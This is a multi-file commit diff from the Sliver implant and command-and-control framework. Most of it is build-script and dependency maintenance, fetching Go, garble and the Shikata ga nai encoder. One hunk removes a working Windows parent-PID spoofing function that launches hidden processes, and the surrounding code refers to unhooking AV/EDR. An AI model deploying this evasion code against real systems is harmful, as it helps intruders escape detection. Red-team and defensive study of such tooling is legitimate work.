@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
# --- Linux (arm64) ---
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
cd go
rm -rf $BLOAT_FILES
rm -rf ./src
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
cd ..
zip -r linux-go.zip ./go
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
rm -rf ./go
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
# --- Windows ---
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
unzip go$GO_VER.windows-amd64.zip
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
@@ -149,6 +165,32 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_2
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_1.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-$GO_ARCH_2.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-$GO_ARCH_1.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_1.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
# end
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
+1
View File
@@ -149,6 +149,7 @@ else
fi
# server / generate
export GOPROXY=off
if go test -tags=server,$TAGS ./server/generate -timeout 6h ; then
:
else
+36 -42
View File
@@ -2,10 +2,7 @@ module github.com/bishopfox/sliver
go 1.17
// fix wgctrl requiring old wireguard
replace golang.zx2c4.com/wireguard => golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.4
replace github.com/desertbit/grumble v1.1.1 => github.com/moloch--/grumble v1.1.6
require (
github.com/AlecAivazis/survey/v2 v2.2.2
@@ -13,63 +10,51 @@ require (
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.4.16 // indirect
github.com/alecthomas/chroma v0.8.1
github.com/cheggaaa/pb/v3 v3.0.5
github.com/desertbit/columnize v2.1.0+incompatible
github.com/desertbit/go-shlex v0.1.1
github.com/desertbit/grumble v1.1.1
github.com/fatih/color v1.12.0
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/gofrs/uuid v3.3.0+incompatible
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/uuid v1.3.0
github.com/gorilla/mux v1.8.0
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/jedib0t/go-pretty/v6 v6.2.4
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-sqlite3 v1.14.9
github.com/mattn/go-sqlite3 v1.14.12
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/shirou/gopsutil/v3 v3.21.10
github.com/sirupsen/logrus v1.8.1
github.com/spf13/cobra v1.1.1
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210614182718-04defd469f4e
golang.org/x/sys v0.0.0-20211117180635-dee7805ff2e1
golang.org/x/text v0.3.6
golang.zx2c4.com/wireguard v0.0.20200121
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20200609130330-bd2cb7843e1b
google.golang.org/genproto v0.0.0-20210406143921-e86de6bf7a46 // indirect
google.golang.org/grpc v1.37.0
google.golang.org/protobuf v1.26.0
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
golang.org/x/text v0.3.7
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
google.golang.org/protobuf v1.27.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
require (
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/shirou/gopsutil/v3 v3.21.10
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1
modernc.org/sqlite v1.14.3
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
modernc.org/sqlite v1.16.0
)
require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
github.com/Microsoft/go-winio v0.5.1 // indirect
github.com/StackExchange/wmi v1.2.1 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
@@ -82,10 +67,13 @@ require (
github.com/desertbit/closer/v3 v3.1.2 // indirect
github.com/desertbit/readline v1.5.1 // indirect
github.com/dlclark/regexp2 v1.2.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/go-ole/go-ole v1.2.6 // indirect
github.com/go-sql-driver/mysql v1.5.0 // indirect
github.com/golang/protobuf v1.5.2 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/hashicorp/errwrap v1.1.0 // indirect
github.com/hashicorp/go-multierror v1.1.1 // indirect
github.com/inconshreveable/mousetrap v1.0.0 // indirect
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
github.com/jackc/pgconn v1.7.0 // indirect
@@ -99,26 +87,32 @@ require (
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-isatty v0.0.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
github.com/sergi/go-diff v1.1.0 // indirect
github.com/spf13/pflag v1.0.5 // indirect
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
golang.org/x/mod v0.3.0 // indirect
golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d // indirect
golang.org/x/mod v0.5.1 // indirect
golang.org/x/time v0.0.0-20210220033141-f8bda1e9f3ba // indirect
golang.org/x/tools v0.1.0 // indirect
golang.org/x/tools v0.1.9 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
gopkg.in/yaml.v3 v3.0.0 // indirect
lukechampine.com/uint128 v1.1.1 // indirect
modernc.org/cc/v3 v3.35.18 // indirect
modernc.org/ccgo/v3 v3.12.95 // indirect
modernc.org/libc v1.11.104 // indirect
modernc.org/cc/v3 v3.35.24 // indirect
modernc.org/ccgo/v3 v3.15.18 // indirect
modernc.org/libc v1.14.12 // indirect
modernc.org/mathutil v1.4.1 // indirect
modernc.org/memory v1.0.5 // indirect
modernc.org/memory v1.0.7 // indirect
modernc.org/opt v0.1.1 // indirect
modernc.org/strutil v1.1.1 // indirect
modernc.org/token v1.0.0 // indirect
+728 -66
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+7 -1
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@@ -1,5 +1,5 @@
Implant
========
=======
This directory contains the code for Sliver's implant, implant source code is dynamically
rendered at runtime via the `generate` command. The code generation inserts the per-binary
@@ -11,3 +11,9 @@ that will be supported on different platforms.
Platform agnostic code is implemented in `_generic.go` files, and can be compiled for any
valid Go compiler target but only contains very generic commands/features.
Development
===========
Before committing any changes to any implant files, run `go generate` in this directory. This
will ensure the vendor directory is kept up to date so offline implant builds will function
correctly.
+3
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@@ -0,0 +1,3 @@
package implant
//go:generate ./scripts/update-vendor.sh
+31 -12
View File
@@ -1,24 +1,43 @@
module github.com/bishopfox/sliver
go 1.16
go 1.17
require (
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/Ne0nd0g/go-clr v1.0.2
github.com/gofrs/uuid v4.0.0+incompatible
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/miekg/dns v1.1.50
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
github.com/pquerna/otp v1.3.0
github.com/stretchr/testify v1.7.0
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22
golang.zx2c4.com/wireguard v0.0.0-20210311162910-5f0c8b942d93
golang.zx2c4.com/wireguard/windows v0.5.1
google.golang.org/protobuf v1.23.0
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
golang.org/x/sys v0.0.0-20220330033206-e17cdc41300f
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
google.golang.org/protobuf v1.26.0
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
)
require (
github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 // indirect
github.com/BurntSushi/xgb v0.0.0-20210121224620-deaf085860bc // indirect
github.com/Microsoft/go-winio v0.5.0 // indirect
github.com/awgh/cppgo v0.0.0-20210224085512-3d24bca8edc0 // indirect
github.com/awgh/rawreader v0.0.0-20200626064944-56820a9c6da4 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
github.com/google/btree v1.0.1 // indirect
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.4.2 // indirect
golang.org/x/text v0.3.7 // indirect
golang.org/x/time v0.0.0-20191024005414-555d28b269f0 // indirect
golang.org/x/tools v0.1.7 // indirect
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
)
+962 -19
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+4
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@@ -32,4 +32,8 @@ var (
// GoSum - Templated go.sum module file for implant builds
//go:embed go-sum
GoSum string
// Vendor - Embedded FS access to vendored sliver implant dependencies
//go:embed vendor/**
Vendor embed.FS
)
+95
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@@ -0,0 +1,95 @@
package main
import (
"bytes"
"fmt"
"go/parser"
"go/token"
"io/fs"
"os"
"path/filepath"
"strings"
)
// These are the directories imports will be taken from. If the implant
// needs files outside of these dirs in the future, add the dirs to this
// slice.
var srcDirs = []string{
"../sliver",
"../../protobuf/commonpb",
"../../protobuf/dnspb",
"../../protobuf/sliverpb",
}
func fatalf(format string, a ...interface{}) {
panic(fmt.Sprintf(format, a...))
}
func getImports(imports map[string]struct{}, dir string) error {
fset := token.NewFileSet()
return filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {
if err != nil {
return err
}
if d.IsDir() {
return nil
}
if !strings.HasSuffix(path, ".go") {
return nil
}
file, err := parser.ParseFile(fset, path, nil, parser.ImportsOnly)
if err != nil {
return err
}
for _, imp := range file.Imports {
impPath := strings.ToLower(imp.Path.Value)
// skip local packages, those shouldn't be vendored
if strings.HasPrefix(impPath, `"github.com/bishopfox/sliver`) {
continue
}
imports[imp.Path.Value] = struct{}{}
}
return nil
})
}
func main() {
if len(os.Args) < 2 {
fatalf("expected temporary directory argument")
}
dir := os.Args[1]
imports := make(map[string]struct{})
// Parse Go files and build a unique list of all their 3rd party
// imports so we can build a vendor dir from them. Stdlib packages
// will be included as well but 'go mod vendor' will ignore them.
for _, srcDir := range srcDirs {
err := getImports(imports, srcDir)
if err != nil {
fatalf("error walking directory: %v", err)
}
}
// Create a Go source file containing only import statements of all
// the packages an implant might need, no matter what OS, transport,
// etc is configured.
var buf bytes.Buffer
buf.WriteString("package sliver\n\nimport (\n")
for imp := range imports {
buf.WriteString("\t _ ")
buf.WriteString(imp)
buf.WriteByte('\n')
}
buf.WriteString(")\n")
err := os.WriteFile(filepath.Join(dir, "imports.go"), buf.Bytes(), 0660)
if err != nil {
fatalf("error creating file: %v", err)
}
}
+27
View File
@@ -0,0 +1,27 @@
#!/bin/sh
set -e
# we are expecting from run from sliver/implant via 'go generate'
cd scripts
# copy Go module related files
pwd="$(pwd)"
tempDir="$(mktemp -d)"
cp ../go-mod "${tempDir}/go.mod"
cp ../go-sum "${tempDir}/go.sum"
mv ../vendor "${tempDir}/vendor"
# build Go file with all imported packages
go run update-vendor.go "$tempDir"
cd "$tempDir"
# update vendor dir
go mod tidy -compat=1.17
go mod vendor
# move updated files back
mv "${tempDir}/vendor" "${pwd}/../vendor"
mv "${tempDir}/go.mod" "${pwd}/../go-mod"
mv "${tempDir}/go.sum" "${pwd}/../go-sum"
cd ..
rm -rf "$tempDir"
+2 -2
View File
@@ -137,7 +137,7 @@ func ECCEncryptToServer(plaintext []byte) ([]byte, error) {
return msg, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCEncryptToPeer - Encrypt using the peer's public key
func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, plaintext []byte) ([]byte, error) {
valid := MinisignVerify(recipientPublicKey, recipientPublicKeySig)
if !valid {
@@ -153,7 +153,7 @@ func ECCEncryptToPeer(recipientPublicKey []byte, recipientPublicKeySig string, p
return ciphertext, nil
}
// ECCEncryptToPeer - Encrypt using the server's public key
// ECCDecryptFromPeer - Decrypt a message from a peer
func ECCDecryptFromPeer(senderPublicKey []byte, senderPublicKeySig string, ciphertext []byte) ([]byte, error) {
valid := MinisignVerify(senderPublicKey, senderPublicKeySig)
if !valid {
-82
View File
@@ -19,7 +19,6 @@ package evasion
*/
import (
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
//{{if .Config.Debug}}
@@ -27,90 +26,9 @@ import (
//{{end}}
"debug/pe"
"io/ioutil"
"os/exec"
"unsafe"
)
func SpoofParent(ppid uint32, prog string, args string) (*windows.ProcessInformation, error) {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return nil, err
}
var procThreadAttributeSize uintptr
if err = syscalls.InitializeProcThreadAttributeList(nil, 1, 0, &procThreadAttributeSize); err != nil && err != windows.E_NOT_SUFFICIENT_BUFFER {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - first call failed: %v\n", err)
//{{end}}
return nil, err
}
procHeap, err := syscalls.GetProcessHeap()
if err != nil {
//{{if .Config.Debug}}
log.Printf("GetProcessHeap failed: %v\n", err)
//{{end}}
return nil, err
}
attributeList, err := syscalls.HeapAlloc(procHeap, 0, procThreadAttributeSize)
if err != nil {
//{{if .Config.Debug}}
log.Printf("HeapAlloc failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.HeapFree(procHeap, 0, attributeList)
var startupInfo syscalls.StartupInfoEx
startupInfo.AttributeList = (*syscalls.PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
if err = syscalls.InitializeProcThreadAttributeList(startupInfo.AttributeList, 1, 0, &procThreadAttributeSize); err != nil {
//{{if .Config.Debug}}
log.Printf("InitializeProcThreadAttributeList - second call failed: %v\n", err)
//{{end}}
return nil, err
}
defer syscalls.DeleteProcThreadAttributeList(startupInfo.AttributeList)
uintParentHandle := uintptr(parentHandle)
if err = syscalls.UpdateProcThreadAttribute(startupInfo.AttributeList, 0, syscalls.PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &uintParentHandle, unsafe.Sizeof(parentHandle), 0, nil); err != nil {
//{{if .Config.Debug}}
log.Printf("UpdateProcThreadAttribute failed: %v\n", err)
//{{end}}
return nil, err
}
// get program path as a UTF string
programPath, err := exec.LookPath(prog)
if err != nil {
//{{if .Config.Debug}}
log.Printf("LookPath failed: %v\n", err)
//{{end}}
return nil, err
}
utfProgramPath, err := windows.UTF16PtrFromString(programPath)
if err != nil {
//{{if .Config.Debug}}
log.Printf("UTF16PtrFromString failed: %v\n", err)
//{{end}}
return nil, err
}
// start a process of the specified program name, spoofing the parent
var procInfo windows.ProcessInformation
startupInfo.Cb = uint32(unsafe.Sizeof(startupInfo))
startupInfo.Flags |= windows.STARTF_USESHOWWINDOW
startupInfo.ShowWindow = windows.SW_HIDE
// creationFlags := windows.CREATE_SUSPENDED | windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
creationFlags := windows.CREATE_NO_WINDOW | windows.EXTENDED_STARTUPINFO_PRESENT
if err = syscalls.CreateProcess(utfProgramPath, nil, nil, nil, true, uint32(creationFlags), nil, nil, &startupInfo, &procInfo); err != nil {
//{{if .Config.Debug}}
log.Printf("CreateProcess failed: %v\n", err)
//{{end}}
return nil, err
}
return &procInfo, nil
}
// RefreshPE reloads a DLL from disk into the current process
// in an attempt to erase AV or EDR hooks placed at runtime.
func RefreshPE(name string) error {
@@ -21,6 +21,7 @@ package extension
import (
"bytes"
"runtime"
"sync"
"unsafe"
// {{if .Config.Debug}}
@@ -36,6 +37,7 @@ type DarwinExtension struct {
arch string
serverStore bool
init string
sync.Mutex
}
type extensionArguments struct {
@@ -64,6 +66,8 @@ func (d *DarwinExtension) GetArch() string {
func (d *DarwinExtension) Load() error {
var err error
d.Lock()
defer d.Unlock()
loader, err := universal.NewLoader()
if err != nil {
return err
@@ -98,6 +102,8 @@ func (d *DarwinExtension) Call(export string, arguments []byte, onFinish func([]
// {{if .Config.Debug}}
log.Printf("Calling %s, arg size: %d\n", export, extArgs.inDataSize)
// {{end}}
d.Lock()
defer d.Unlock()
_, err := d.module.Call(export, uintptr(unsafe.Pointer(&extArgs)))
if err != nil {
return err
@@ -21,6 +21,7 @@ package extension
import (
"bytes"
"errors"
"sync"
"syscall"
"unsafe"
@@ -43,6 +44,7 @@ type WindowsExtension struct {
arch string
init string
onFinish func([]byte)
sync.Mutex
}
// NewWindowsExtension - Load a new windows extension
@@ -71,6 +73,8 @@ func (w *WindowsExtension) Load() error {
if len(w.data) == 0 {
return errors.New("{{if .Config.Debug}} extension data is empty {{end}}")
}
w.Lock()
defer w.Unlock()
w.module, err = memmod.LoadLibrary(w.data)
if err != nil {
return err
@@ -114,6 +118,8 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
// The extension API must respect the following prototype:
// int Run(buffer char*, bufferSize uint32_t, goCallback callback)
// where goCallback = int(char *, int)
w.Lock()
defer w.Unlock()
_, _, errNo := syscall.Syscall(exportPtr, 3, argumentsPtr, argumentsSize, callback)
if errNo != 0 {
return errors.New(errNo.Error())
+18
View File
@@ -1,5 +1,23 @@
package forwarder
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// {{if .Config.WGc2Enabled}}
var (
tcpForwarders map[int]*WGTCPForwarder
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